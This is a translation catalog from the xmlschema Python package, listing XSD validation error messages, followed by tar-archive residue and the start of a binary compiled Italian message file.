both 'length' and 'maxLength'" #: xmlschema/validators/simple_types.py:221 msgid "'minLength' value must be a non negative integer" msgstr "'minLength' value must be a non negative integer" #: xmlschema/validators/simple_types.py:224 msgid "'maxLength' value is less than 'minLength'" msgstr "'maxLength' value is less than 'minLength'" #: xmlschema/validators/simple_types.py:227 msgid "'minLength' has a lesser value than parent" msgstr "'minLength' has a lesser value than parent" #: xmlschema/validators/simple_types.py:230 msgid "'minLength' has a greater value than parent 'maxLength'" msgstr "'minLength' has a greater value than parent 'maxLength'" #: xmlschema/validators/simple_types.py:235 msgid "'maxLength' value must be a non negative integer" msgstr "'maxLength' value must be a non negative integer" #: xmlschema/validators/simple_types.py:238 msgid "'maxLength' has a lesser value than parent 'minLength'" msgstr "'maxLength' has a lesser value than parent 'minLength'" #: xmlschema/validators/simple_types.py:241 msgid "'maxLength' has a greater value than parent" msgstr "'maxLength' has a greater value than parent" #: xmlschema/validators/simple_types.py:252 msgid "cannot specify both 'minInclusive' and 'minExclusive'" msgstr "cannot specify both 'minInclusive' and 'minExclusive'" #: xmlschema/validators/simple_types.py:255 msgid "'minInclusive' must be less or equal to 'maxInclusive'" msgstr "'minInclusive' must be less or equal to 'maxInclusive'" #: xmlschema/validators/simple_types.py:258 msgid "'minInclusive' must be lesser than 'maxExclusive'" msgstr "'minInclusive' must be lesser than 'maxExclusive'" #: xmlschema/validators/simple_types.py:263 msgid "'minExclusive' must be lesser than 'maxInclusive'" msgstr "'minExclusive' must be lesser than 'maxInclusive'" #: xmlschema/validators/simple_types.py:266 msgid "'minExclusive' must be less or equal to 'maxExclusive'" msgstr "'minExclusive' must be less or equal to 'maxExclusive'" #: xmlschema/validators/simple_types.py:270 msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" msgstr "cannot specify both 'maxInclusive' and 'maxExclusive'" #: xmlschema/validators/simple_types.py:276 msgid "" "fractionDigits facet value cannot be lesser than the value of totalDigits " "facet" msgstr "" "fractionDigits facet value cannot be lesser than the value of totalDigits " "facet" #: xmlschema/validators/simple_types.py:282 msgid "" "totalDigits facet value cannot be greater than the value of the same facet " "in the base type" msgstr "" "totalDigits facet value cannot be greater than the value of the same facet " "in the base type" #: xmlschema/validators/simple_types.py:291 #, python-format msgid "" "the explicitTimezone facet value cannot be changed if the base type has the " "same facet with value %r" msgstr "" "the explicitTimezone facet value cannot be changed if the base type has the " "same facet with value %r" #: xmlschema/validators/simple_types.py:691 msgid "value is not an instance of {!r}" msgstr "value is not an instance of {!r}" #: xmlschema/validators/simple_types.py:713 #: xmlschema/validators/simple_types.py:805 #: xmlschema/validators/simple_types.py:1167 msgid "invalid value {!r}" msgstr "invalid value {!r}" #: xmlschema/validators/simple_types.py:740 #, python-format msgid "unmapped prefix %r in a QName" msgstr "unmapped prefix %r in a QName" #: xmlschema/validators/simple_types.py:753 #: xmlschema/validators/simple_types.py:764 msgid "duplicated xs:ID value {!r}" msgstr "duplicated xs:ID value {!r}" #: xmlschema/validators/simple_types.py:759 msgid "no more than one attribute of type ID should be present in an element" msgstr "no more than one attribute of type ID should be present in an element" #: xmlschema/validators/simple_types.py:783 msgid "boolean value {0!r} requires a {1!r} decoder" msgstr "boolean value {0!r} requires a {1!r} decoder" #: xmlschema/validators/simple_types.py:789 msgid "{0!r} is not an instance of {1!r}" msgstr "{0!r} is not an instance of {1!r}" #: xmlschema/validators/simple_types.py:892 msgid "ambiguous list type declaration" msgstr "ambiguous list type declaration" #: xmlschema/validators/simple_types.py:900 msgid "missing list type declaration" msgstr "missing list type declaration" #: xmlschema/validators/simple_types.py:916 #, python-format msgid "'final' value of the itemType %r forbids derivation by list" msgstr "'final' value of the itemType %r forbids derivation by list" #: xmlschema/validators/simple_types.py:920 #: xmlschema/validators/simple_types.py:1093 #: xmlschema/validators/simple_types.py:1376 msgid "cannot use xs:anyAtomicType as base type of a user-defined type" msgstr "cannot use xs:anyAtomicType as base type of a user-defined type" #: xmlschema/validators/simple_types.py:926 #, python-format msgid "%r: a list must be based on atomic data types" msgstr "%r: a list must be based on atomic data types" #: xmlschema/validators/simple_types.py:973 msgid "unexpected nested list item {!r}" msgstr "" #: xmlschema/validators/simple_types.py:1080 msgid "a {0!r} required, not {1!r}" msgstr "a {0!r} required, not {1!r}" #: xmlschema/validators/simple_types.py:1084 #, python-format msgid "'final' value of the memberTypes %r forbids derivation by union" msgstr "'final' value of the memberTypes %r forbids derivation by union" #: xmlschema/validators/simple_types.py:1090 msgid "missing xs:union type declarations" msgstr "missing xs:union type declarations" #: xmlschema/validators/simple_types.py:1205 msgid "no type suitable for encoding the object" msgstr "no type suitable for encoding the object" #: xmlschema/validators/simple_types.py:1249 msgid "'name' attribute in a local simpleType definition" msgstr "'name' attribute in a local simpleType definition" #: xmlschema/validators/simple_types.py:1289 #, python-format msgid "wrong base type %r, an atomic type required" msgstr "wrong base type %r, an atomic type required" #: xmlschema/validators/simple_types.py:1295 msgid "an xs:simpleType definition expected" msgstr "an xs:simpleType definition expected" #: xmlschema/validators/simple_types.py:1300 msgid "" "when a complexType with simpleContent restricts a complexType with mixed and " "with emptiable content then a simpleType child declaration is required" msgstr "" "when a complexType with simpleContent restricts a complexType with mixed and " "with emptiable content then a simpleType child declaration is required" #: xmlschema/validators/simple_types.py:1305 #, python-format msgid "simpleType restriction of %r is not allowed" msgstr "simpleType restriction of %r is not allowed" #: xmlschema/validators/simple_types.py:1314 msgid "unexpected tag after attribute declarations" msgstr "unexpected tag after attribute declarations" #: xmlschema/validators/simple_types.py:1319 msgid "duplicated simpleType declaration" msgstr "duplicated simpleType declaration" #: xmlschema/validators/simple_types.py:1345 msgid "restriction with 'base' attribute and simpleType declaration" msgstr "restriction with 'base' attribute and simpleType declaration" #: xmlschema/validators/simple_types.py:1353 #, python-format msgid "unexpected tag %r in restriction" msgstr "unexpected tag %r in restriction" #: xmlschema/validators/simple_types.py:1359 #, python-format msgid "multiple %r constraint facet" msgstr "multiple %r constraint facet" #: xmlschema/validators/simple_types.py:1371 msgid "missing base type in restriction" msgstr "missing base type in restriction" #: xmlschema/validators/simple_types.py:1373 #, python-format msgid "'final' value of the baseType %r forbids derivation by restriction" msgstr "'final' value of the baseType %r forbids derivation by restriction" #: xmlschema/validators/simple_types.py:1430 #: xmlschema/validators/simple_types.py:1453 #, python-format msgid "" "wrong base type %r: a simpleType or a complexType with simple or mixed " "content required" msgstr "" "wrong base type %r: a simpleType or a complexType with simple or mixed " "content required" #: xmlschema/validators/validation.py:55 msgid "validation mode must be a string" msgstr "" #: xmlschema/validators/validation.py:57 #, python-format msgid "validation mode can be 'strict', 'lax' or 'skip': %r" msgstr "validation mode can be 'strict', 'lax' or 'skip': %r" #: xmlschema/validators/validation.py:179 msgid "attribute {0}={1!r}: {2}" msgstr "attribute {0}={1!r}: {2}" #: xmlschema/validators/wildcards.py:92 #, python-format msgid "wrong value %r in 'namespace' attribute" msgstr "wrong value %r in 'namespace' attribute" #: xmlschema/validators/wildcards.py:99 #, python-format msgid "wrong value %r for 'processContents' attribute" msgstr "wrong value %r for 'processContents' attribute" #: xmlschema/validators/wildcards.py:107 msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" msgstr "'namespace' and 'notNamespace' attributes are mutually exclusive" #: xmlschema/validators/wildcards.py:118 #, python-format msgid "wrong value %r in 'notNamespace' attribute" msgstr "wrong value %r in 'notNamespace' attribute" #: xmlschema/validators/wildcards.py:134 msgid "wrong value for 'notQName' attribute" msgstr "wrong value for 'notQName' attribute" #: xmlschema/validators/wildcards.py:141 #, python-format msgid "unmapped QName in 'notQName' attribute: %s" msgstr "unmapped QName in 'notQName' attribute: %s" #: xmlschema/validators/wildcards.py:145 #, python-format msgid "wrong QName format in 'notQName' attribute: %s" msgstr "wrong QName format in 'notQName' attribute: %s" #: xmlschema/validators/wildcards.py:153 msgid "the namespace of each QName in notQName is allowed by notNamespace" msgstr "the namespace of each QName in notQName is allowed by notNamespace" #: xmlschema/validators/wildcards.py:157 msgid "names in notQName must be in namespaces that are allowed" msgstr "names in notQName must be in namespaces that are allowed" #: xmlschema/validators/wildcards.py:334 msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" msgstr "not expressible wildcard namespace union: {0!r} V {1!r}:" #: xmlschema/validators/wildcards.py:502 xmlschema/validators/wildcards.py:545 msgid "element {!r} is not allowed here" msgstr "element {!r} is not allowed here" #: xmlschema/validators/wildcards.py:510 xmlschema/validators/wildcards.py:552 #: xmlschema/validators/wildcards.py:691 xmlschema/validators/wildcards.py:720 msgid "unavailable namespace {!r}" msgstr "unavailable namespace {!r}" #: xmlschema/validators/wildcards.py:673 xmlschema/validators/wildcards.py:703 #, python-format msgid "attribute %r not allowed" msgstr "attribute %r not allowed" #: xmlschema/validators/wildcards.py:685 xmlschema/validators/wildcards.py:714 #, python-format msgid "attribute %r not found" msgstr "attribute %r not found" #: xmlschema/validators/wildcards.py:875 #, python-format msgid "wrong value %r for 'mode' attribute" msgstr "wrong value %r for 'mode' attribute" #: xmlschema/validators/wildcards.py:881 msgid "" "an openContent with mode='none' cannot have an <xs:any> child declaration" msgstr "" "an openContent with mode='none' cannot have an <xs:any> child declaration" #: xmlschema/validators/wildcards.py:885 msgid "an <xs:any> child declaration is required" msgstr "an <xs:any> child declaration is required" #: xmlschema/validators/wildcards.py:919 msgid "defaultOpenContent must be a child of the schema" msgstr "defaultOpenContent must be a child of the schema" #: xmlschema/validators/wildcards.py:922 msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" msgstr "the attribute 'mode' of a defaultOpenContent cannot be 'none'" #: xmlschema/validators/wildcards.py:925 msgid "a defaultOpenContent declaration cannot be empty" msgstr "a defaultOpenContent declaration cannot be empty" #: xmlschema/validators/xsdbase.py:125 #, python-format msgid "%r is not built" msgstr "%r is not built" #: xmlschema/validators/xsdbase.py:130 #, python-format msgid "validation mode is 'strict' and %r is not built" msgstr "validation mode is 'strict' and %r is not built" #: xmlschema/validators/xsdbase.py:133 #, python-format msgid "validation mode is 'strict' and %r is not valid" msgstr "validation mode is 'strict' and %r is not valid" #: xmlschema/validators/xsdbase.py:249 msgid "" "wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " "{1})." msgstr "" "wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " "{1})." #: xmlschema/validators/xsdbase.py:436 #, python-format msgid "missing attribute 'name' in a global %r" msgstr "missing attribute 'name' in a global %r" #: xmlschema/validators/xsdbase.py:439 #, python-format msgid "missing both attributes 'name' and 'ref' in local %r" msgstr "missing both attributes 'name' and 'ref' in local %r" #: xmlschema/validators/xsdbase.py:442 msgid "attributes 'name' and 'ref' are mutually exclusive" msgstr "attributes 'name' and 'ref' are mutually exclusive" #: xmlschema/validators/xsdbase.py:445 #, python-format msgid "attribute 'ref' not allowed in a global %r" msgstr "attribute 'ref' not allowed in a global %r" #: xmlschema/validators/xsdbase.py:454 msgid "a reference component cannot have child definitions/declarations" msgstr "a reference component cannot have child definitions/declarations" #: xmlschema/validators/xsdbase.py:469 msgid "too many XSD components, unexpected {0!r} found at position {1}" msgstr "too many XSD components, unexpected {0!r} found at position {1}" #: xmlschema/validators/xsdbase.py:486 #, python-brace-format msgid "The namespace {XMLNS_NAMESPACE} cannot be used as 'targetNamespace'" msgstr "" #: xmlschema/validators/xsdbase.py:490 msgid "" "attribute 'name' must be present when 'targetNamespace' attribute is provided" msgstr "" "attribute 'name' must be present when 'targetNamespace' attribute is provided" #: xmlschema/validators/xsdbase.py:494 msgid "" "attribute 'form' must be absent when 'targetNamespace' attribute is provided" msgstr "" "attribute 'form' must be absent when 'targetNamespace' attribute is provided" #: xmlschema/validators/xsdbase.py:499 #, python-format msgid "a global %s must have the same namespace as its parent schema" msgstr "a global %s must have the same namespace as its parent schema" #: xmlschema/validators/xsdbase.py:507 msgid "" "a declaration contained in a global complexType must have the same namespace " "as its parent schema" msgstr "" "a declaration contained in a global complexType must have the same namespace " "as its parent schema" #: xmlschema/validators/xsdbase.py:632 msgid "parent circularity from {}" msgstr "parent circularity from {}" #: xmlschema/validators/identities.py:89 msgid "'xpath' attribute required" msgstr "'xpath' attribute required" #: xmlschema/validators/identities.py:104 msgid "invalid XPath expression for an {}" msgstr "invalid XPath expression for an {}" #: xmlschema/validators/identities.py:173 msgid "missing required attribute 'name'" msgstr "missing required attribute 'name'" #: xmlschema/validators/identities.py:181 msgid "missing 'selector' declaration" msgstr "missing 'selector' declaration" #: xmlschema/validators/identities.py:198 msgid "unknown identity constraint {!r}" msgstr "unknown identity constraint {!r}" #: xmlschema/validators/identities.py:203 msgid "attribute 'ref' points to a different kind constraint" msgstr "attribute 'ref' points to a different kind constraint" #: xmlschema/validators/identities.py:231 msgid "selector xpath expression can only select elements" msgstr "selector xpath expression can only select elements" #: xmlschema/validators/identities.py:286 msgid "missing required attribute 'refer'" msgstr "missing required attribute 'refer'" #: xmlschema/validators/identities.py:316 #, python-format msgid "key/unique identity constraint %r is missing" msgstr "key/unique identity constraint %r is missing" #: xmlschema/validators/identities.py:321 #, python-format msgid "reference to a non key/unique identity constraint %r" msgstr "reference to a non key/unique identity constraint %r" #: xmlschema/validators/identities.py:324 msgid "field cardinality mismatch between {0!r} and {1!r}" msgstr "field cardinality mismatch between {0!r} and {1!r}" #: xmlschema/validators/identities.py:401 msgid "duplicated value {0!r} for {1!r}" msgstr "duplicated value {0!r} for {1!r}" #: xmlschema/validators/identities.py:495 #, python-format msgid "%r field selects multiple values!" msgstr "%r field selects multiple values!" #: xmlschema/validators/identities.py:501 #, python-format msgid "%r field selects a %r!" msgstr "%r field selects a %r!" #: xmlschema/validators/identities.py:510 #, python-format msgid "%r field doesn't have a simple type!" msgstr "%r field doesn't have a simple type!" #: xmlschema/validators/identities.py:542 msgid "missing key field {0!r} for {1!r}" msgstr "missing key field {0!r} for {1!r}" #: xmlschema/converters/__init__.py:37 msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" msgstr "'converter' argument must be a {0!r} subclass or instance: {1!r}" #~ msgid "circular definition found between {0!r} and {1!r}" #~ msgstr "circular definition found between {0!r} and {1!r}" #, python-format #~ msgid "missing dynamic loaded schema from %s" #~ msgstr "missing dynamic loaded schema from %s" #~ msgid "dynamic loaded schema change the assessment" #~ msgstr "dynamic loaded schema change the assessment" #~ msgid "wrong element {0!r} for map {1!r}" #~ msgstr "wrong element {0!r} for map {1!r}" #~ msgid "missing XSD namespace in meta-schema instance {!r}" #~ msgstr "missing XSD namespace in meta-schema instance {!r}" #~ msgid "missing default meta-schema instance {!r}" #~ msgstr "missing default meta-schema instance {!r}" #~ msgid "global element not built!" #~ msgstr "global element not built!" #, python-format #~ msgid "global map has unbuilt components: %r" #~ msgstr "global map has unbuilt components: %r" #~ msgid "Circular reference found between attribute groups {0!r} and {1!r}" #~ msgstr "Circular reference found between attribute groups {0!r} and {1!r}" #~ msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" #~ msgstr "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" #~ msgid "missing XSD namespace in meta-schema" #~ msgstr "missing XSD namespace in meta-schema" #~ msgid "Missing meta-schema source URL" #~ msgstr "Missing meta-schema source URL" #~ msgid "" #~ "The argument 'base_schemas' must be a dictionary or a sequence of couples" #~ msgstr "" #~ "The argument 'base_schemas' must be a dictionary or a sequence of couples" #~ msgid "a {0!r} or {1!r} object required" #~ msgstr "a {0!r} or {1!r} object required" #~ msgid "circular definition found for type {!r}" #~ msgstr "circular definition found for type {!r}" #~ msgid "circular definition found on xs:union type {!r}" #~ msgstr "circular definition found on xs:union type {!r}" #, python-format #~ msgid "no type suitable for decoding the values %r" #~ msgstr "no type suitable for decoding the values %r" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/it/����������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017321�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/it/LC_MESSAGES/����������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0021106�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/it/LC_MESSAGES/xmlschema.mo����������������������������������������0000664�0000000�0000000�00000141555�15020401055�0023437�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������̃•���������” ���� ������€!�����!�����“!�����¥!��$���¹!��$���̃!��!���"�����%"��+���4"�����`"��-���p"��:���"��%���Ù"�����ÿ"��@���#��7���Z#��:���’#��B���Í#��;���$��?���L$��8���Œ$��-���Å$��-���ó$��+���!%��6���M%��*���„%��0���¯%��6���à%��6���&��1���N&��6���€&��1���·&��7���é&��*���!'��0���L'��8���}'��0���¶'��2���ç'��1���(��@���L(�����(��2���¨(��%���Û(��>���)��<���@)��<���})��=���º)��4���ø)��7���-*��6���e*�����œ*�����¶*��0���Í*��)���₫*��,���(+��o���U+��"���Å+��.���è+�����,��B���1,��C���t,��;���¸,�����ô,�����-��E���*-��F���p-��;���·-��*���ó-��(���.��,���G.��=���t.��1���².��*���ä.��A���/��)���Q/��"���{/��%���/��a���Ä/��0���&0��=���W0��?���•0��%���Ơ0��'���û0��7���#1��@���[1��2���œ1�����Ï1�����ë1��+��� 2��)���72��0���a2��F���’2��E���Ù2��I���3��$���i3��=���3��&���̀3�� ���ó3�����4�����-4��?���D4��L���„4��3���Ñ4��3���5��M���95��3���‡5��3���»5��-���ï5��*���6��5���H6��=���~6��>���¼6��<���û6��9���87��'���r7�����7��5���³7��2���é7��)���8��&���F8��(���m8��Q���–8��R���è8��"���;9��&���^9��.���…9��,���´9��5���á9��<���:��l���T:��+���Á:�����í:����� ;�����*;��.���I;��0���x;��]���©;��8���<��R���@<�����“<��%���±<��+���×<��+���=��B���/=��3���r=��6���¦=��,���Ư=��,��� >��5���7>��5���m>��?���£>��^���ă>��1���B?��6���t?��!���«?��=���Í?��*��� @��1���6@��&���h@��>���@��:���Î@��B��� A��0���LA��:���}A��F���¸A��.���ÿA�����.B��"���MB��!���pB�� ���’B�����³B�����ÏB�� ���çB��3���C��>���<C��,���{C��"���¨C��/���ËC��F���ûC��>���BD��2���D��8���´D��I���íD��O���7E��F���‡E�����ÎE�����æE��,���F��.���1F��-���`F�����F��T���§F��U���üF��T���RG��z���§G��%���"H��#���HH��4���lH��0���¡H��;���̉H��"���I��%���1I��%���WI�����}I��-���›I�����ÉI��+���áI��+��� J��#���9J�����]J�����|J��$���J��7���´J��,���́J�����K��3���/K��7���cK��0���›K��*���̀K��=���÷K�����5L��0���TL��0���…L��'���¶L��.���̃L����� M�����,M��'���EM��0���mM��/���M��&���ÎM�����ơM�����N�� ���#N��4���DN��0���yN�����ªN��!���»N�����ƯN��!���ûN��"���O�����@O��"���`O��:���ƒO�����¾O��.���ÛO��'��� P��&���2P��!���YP�����{P��8���˜P�����ÑP��E���éP��(���/Q��%���XQ�����~Q�����”Q�����¨Q��8���ÂQ��;���ûQ��1���7R�����iR��&���„R��5���«R��4���áR��5���S��8���LS��5���…S��M���»S��%��� T��<���/T��+���lT��0���˜T��2���ÉT��+���üT�����(U�����EU�� ���cU��6���„U��)���»U��#���åU����� V��/���&V��‘���VV��p���èV��2���YW��1���ŒW��=���¾W��K���üW��9���HX��9���‚X��I���¼X��K���Y��L���RY��+���ŸY��-���ËY��+���ùY��d���%Z��B���Z�� ���ÍZ��8���îZ��A���'[��4���i[��-���[��-���̀[��@���ú[��#���;\��!���_\��?���\��[���Á\��$���]��O���B]��-���’]�����À]��2���̉]��2���^��)���8^�� ���b^��+���ƒ^�����¯^�����̀^�����ă^�� ���ö^�����_�����4_��*���F_�����q_�����_��7���¦_��!���̃_��4����`��/���5`�� ���e`��)���†`�����°`��'���Đ`��*���ø`��!���#a��,���Ea�� ���ra�����“a�� ���³a�����Ôa��%���ía��(���b��'���<b�����db�����{b�����–b�����±b�����Ëb�����âb��M���ơb��,���Cc��“���pc��6���d��?���;d��.���{d��+���ªd��W���Öd�����.e��$���Fe��)���ke��7���•e��&���Íe��#���ôe��.���f�����Gf��&���gf��'���f��*���¶f��$���áf��O���g��0���Vg��.���‡g��>���¶g��<���ơg��&���2h�� ���Yh��+���zh��0���¦h��+���×h��;���i��9���?i�����yi��)���•i�����¿i��&���Üi��$���j��7���(j�����`j��&���~j��#���¥j��1���Éj��0���ûj��!���,k��G���Nk��L���–k�����ăk��9��l�����=m�����Om�����am��/���um��$���¥m��"���Êm�����ím��0���üm�����-n��8���An��J���zn��-���Ån�����ón��P���o��;���_o��F���›o��F���âo��B���)p��H���lp��D���µp��3���úp��?���.q��.���nq��F���q��1���äq��?���r��A���Vr��;���˜r��5���Ôr��;��� s��5���Fs��=���|s��,���ºs��B���çs��?���*t��C���jt��9���®t��5���èt��D���u��#���cu��4���‡u��%���¼u��M���âu��C���0v��I���tv��?���¾v��9���₫v��L���8w��D���…w��*���Êw��)���ơw��7���x��/���Wx��.���‡x��~���¶x��&���5y��<���\y��(���™y��H���Ây��I��� z��G���Uz��,���z��+���Êz��S���öz��S���J{��E���{��.���ä{��(���|��/���<|��E���l|��@���²|��4���ó|��F���(}��5���o}��%���¥}��*���Ë}��l���ö}��:���c~��D���~��T���ă~��-���8��*���f��8���‘��I���Ê��A���€�����V€��#���t€��/���˜€��.���È€��3���÷€��O���+��I���{��O���Å��,���‚��E���B‚��(���ˆ‚��%���±‚�����ׂ�����ó‚��C��� ƒ��Y���Pƒ��>���ªƒ��>���éƒ��Z���(„��=���ƒ„��5���Á„��8���÷„��1���0…��4���b…��H���—…��Q���à…��H���2†��G���{†��*���Æ�����î†��4���‡��6���<‡��.���s‡��.���¢‡��6���ч��Y���ˆ��Y���bˆ��)���¼ˆ��7���æˆ��1���‰��9���P‰��R���‰��K���Ư‰��‹���)��8���µ��(���î��,���‹��)���D‹��8���n‹��A���§‹��ˆ���é‹��A���rŒ��v���´Œ��)���+��9���U��8�����7���È��F������9���G��C�����4���Å��4���ú��B���/��B���r��Q���µ��e�����,���m��=�����#���Ø��K���ü��5���H‘��=���~‘��*���¼‘��A���ç‘��G���)’��M���q’��5���¿’��>���ơ’��I���4“��<���~“�����»“��!���Ù“��"���û“�� ���”�����?”�����[”��%���y”��=���Ÿ”��?���Ư”��@���•��1���^•��=���•��R���Ε��D���!–��E���f–��B���¬–��Q���ï–��`���A—��S���¢—�����ö—��%���˜��-���:˜��,���h˜��,���•˜�����˜��d���̃˜��d���C™��c���¨™��v��� ��0���ƒ��8���´��G���í��@���5›��D���v›��&���»›��/���â›��/���œ�����Bœ��;���aœ�����œ��.���¸œ��-���çœ��)����� ���?�����`��+���w��>���£��/���â�������<���0��8���m��<���¦��2���ă��F���Ÿ��"���]Ÿ��8���€Ÿ��3���¹Ÿ��.���íŸ��8��� ��!���U �����w ��'���‘ ��3���¹ ��2���í ��)��� ¡�����J¡�����d¡��'���z¡��7���¢¡��;���Ú¡�����¢��%���)¢��$���O¢��&���t¢��'���›¢��!���Ă¢��(���å¢��@���£�����O£��0���e£��+���–£��*���£��"���í£�����¤��B���.¤�����q¤��G���¤��+���Ö¤��-���¥�����0¥�����K¥�����e¥��D���‚¥��@���Ç¥��A���¦�����J¦��:���j¦��7���¥¦��8���Ư¦��4���§��P���K§��;���œ§��P���ا��(���)¨��;���R¨��4���¨��@���è��A���©��1���F©��!���x©��!���©��#���¼©��A���à©��,���"ª��6���Oª��!���†ª��1���¨ª�����Úª��|���x«��?���ơ«��5���5¬��B���k¬��N���®¬��:���ư¬��?���8­��M���x­��I���Æ­��M���®��-���^®��.���Œ®��.���»®��s���ê®��J���^¯��'���©¯��5���ѯ��C���°��:���K°��#���†°��0���ª°��G���Û°��&���#±��(���J±��C���s±��i���·±��&���!²��c���H²��2���¬²�����ß²��5���ï²��4���%³��3���Z³��,���³��1���»³��$���í³�����´�����-´��%���E´��%���k´�����‘´��/���§´��#���×´�����û´��C���µ��"���\µ��?���µ��5���¿µ��)���ơµ��.���¶��,���N¶��2���{¶��.���®¶��&���Ư¶��,���·��&���1·��%���X·��#���~·�����¢·��+���¿·��8���ë·��8���$¸�����]¸��!���{¸��!���¸��!���¿¸�����á¸�����ÿ¸��]���¹��B���w¹��’���º¹��N���Mº��N���œº��2���ëº��4���»��^���S»�� ���²»��*���Ó»��.���₫»��=���-¼��,���k¼��'���˜¼��2���À¼��,���ó¼��,��� ½��+���M½��.���y½��(���¨½��X���ѽ��B���*¾��<���m¾��H���ª¾��C���ó¾��,���7¿��%���d¿��1���¿��/���¼¿��)���́¿��G���À��E���^À�����¤À��0���ĂÀ�����ôÀ��)���Á��$���=Á��?���bÁ�����¢Á��'���ÂÁ��.���êÁ��0���Â��.���JÂ�� ���yÂ��O���Â��]���êÂ��$���HĂ���������������Í���ă�������<�������C������z���u��L���A��������Å���V���E������w���±�������>�����µ���P��đ���i��*�������r���î����������������������u��������ñ�����������4������…�������ç�����������d������ ��†��A����������[���������~�������¢���‚���K������Œ���������X��÷���!���Á�������½��������������-��Ä���"��@���H��D�������’�������¸���y�������������È���ÿ���#��K��`����œ�������!��́���������������Ö���b��(�����Î���Ï���̃���*����������������=��Y���-���n���Æ���4���� �� �������������������c�������������������o�������m��®�������Ú���U��6������•���‹�������������Ó�����2������G���� ���O��.���ƒ������ ��N��1���J���Ÿ���y�����q��������������‹��2�����������(��)���������Ă�������Û���‡���„�����L��5���ª�������Ê���â�������W���É�������J������k��³�������U���×�������C��P�������j��W��¤�������̉���,��å���~������ô���ü��� ��t��X������i����������� ���3�����������̀���Y������7��{��©���ö���3���¯���O���ư���¨���:��h���;�������Z�������à���Ù���`���)��\�����^���Z������¶���£���M����á���´�������n��,���&����������s�������q���‡�� �����₫���·���7����������������/��1��o��e���»�������À���Œ�������f��v���������v������…��.��í���]������S���ø�������ê���������������I��†�������ß�������+���p����������������������R���h����������������_�� �������_���V��z������ˆ���²���‰��� ������N�������%��˜���$��è�������'��‰���������t���9����������������������ơ���������'���a���S��m���G���Ë������� ��#�����������Ø���Ñ���\����9��T��¦���p����c������8���8��E����������e������™���&���º���ë�������Ç���s��ú���;����������̣���F���ˆ�����[��a��¿���‚��>��Q���"���¥�������Q��ù������ó���B������x��€���0������r��€��������<������¼�������%���H��� ���Ô���¾���Đ���g���ä���k�������}������$���Ư���}���T�������l�������I���=�������|��R�����l�����5��0��������“���Ơ���é�������Ü���­�����������û���j���‘�������–�������ƒ������@��6�����������������������—���w��/�������{���g����������”���^����B�����|��� ���b���›���°���F��„�����+��ï������?���¡�������¹������«�������æ����������D��M���?��Â������¬�����d���:���x������f���§�������������������]���� Tag %r expected.� Tag %s expected.� Tag (%s) expected.�%r attribute not allowed for element�%r field doesn't have a simple type!�%r field selects multiple values!�%r is abstract�%r is not an attribute of the XSI namespace�%r is not built�%r: a list must be based on atomic data types�'all' model can appears only at 1st level of a model group�'all' model can contain only elements�'base' attribute required�'converter' argument must be a {0!r} subclass or instance: {1!r}�'default' and 'fixed' attributes are mutually exclusive�'default' value {!r} is not compatible with element's type�'final' value of the baseType %r forbids derivation by restriction�'final' value of the itemType %r forbids derivation by list�'final' value of the memberTypes %r forbids derivation by union�'fixed' value {!r} is not compatible with element's type�'global_maps' argument must be an %r instance�'length' value must be non a negative integer�'maxLength' has a greater value than parent�'maxLength' has a lesser value than parent 'minLength'�'maxLength' value is less than 'minLength'�'maxLength' value must be a non negative integer�'maxLength' value must be greater or equal to 'length'�'minExclusive' must be less or equal to 'maxExclusive'�'minExclusive' must be lesser than 'maxInclusive'�'minInclusive' must be less or equal to 'maxInclusive'�'minInclusive' must be lesser than 'maxExclusive'�'minLength' has a greater value than parent 'maxLength'�'minLength' has a lesser value than parent�'minLength' value must be a non negative integer�'minLength' value must be less than or equal to 'length'�'mixed' attribute not allowed with simpleContent�'model' argument must be (sequence | choice | all)�'name' attribute in a local simpleType definition�'namespace' and 'notNamespace' attributes are mutually exclusive�'xpath' attribute required�(attribute | attributeGroup) expected, found {!r}.�(restriction | list | union) expected�Attribute type is not a restriction of the base attribute type�Attribute wildcard is not a restriction of the base wildcard�Attribute {!r}: 'inheritable' property change in restriction�Attribute {!r}: derived attribute has a different fixed value�Attribute {!r}: redefinition remove fixed constraint�Attribute {!r}: unmatched attribute use in redefinition�Attribute {!r}: unmatched attribute use in restriction�Can't delete attribute {}�Can't set attribute {}�Circular attribute groups not allowed in XSD 1.0�Circular definition detected for group %r�Circular definition detected for xs:{} {!r}.�Element Declarations Consistent violation between {0!r} and {1!r}: match the same name but with different types�IDREF %r not found in XML document�Import of namespace {!r} from {!r} failed: {}.�Include schema failed: {}�Maybe a not equivalent type table between elements {0!r} and {1!r}�Maybe a not equivalent type table between elements {0!r} and {1!r}.�Missing required attribute {!r} in redefinition restriction�Override schema failed: {}�Redefine schema failed: {}�Redefined group reference can't have minOccurs/maxOccurs other than 1�Redefined group reference cannot have minOccurs/maxOccurs other than 1�Redefinition restriction contains additional attribute {!r}�The content of element %r is not complete.�Unexpected attribute {!r} in restriction�Unexpected child with tag %r at position %d.�Unique Particle Attribution violation between {0!r} and {1!r}�Wrong attribute order in redefinition restriction�XML data depth exceeded (MAX_XML_DEPTH=%r)�XSD 1.0 does not allow extension of a not empty 'all' model group�XSD attribute's type must be a simpleType�XSD_VERSION must be '1.0' or '1.1'�a complexType ancestor required: {!r}�a declaration contained in a global complexType must have the same namespace as its parent schema�a defaultOpenContent declaration cannot be empty�a global %s must have the same namespace as its parent schema�a not empty 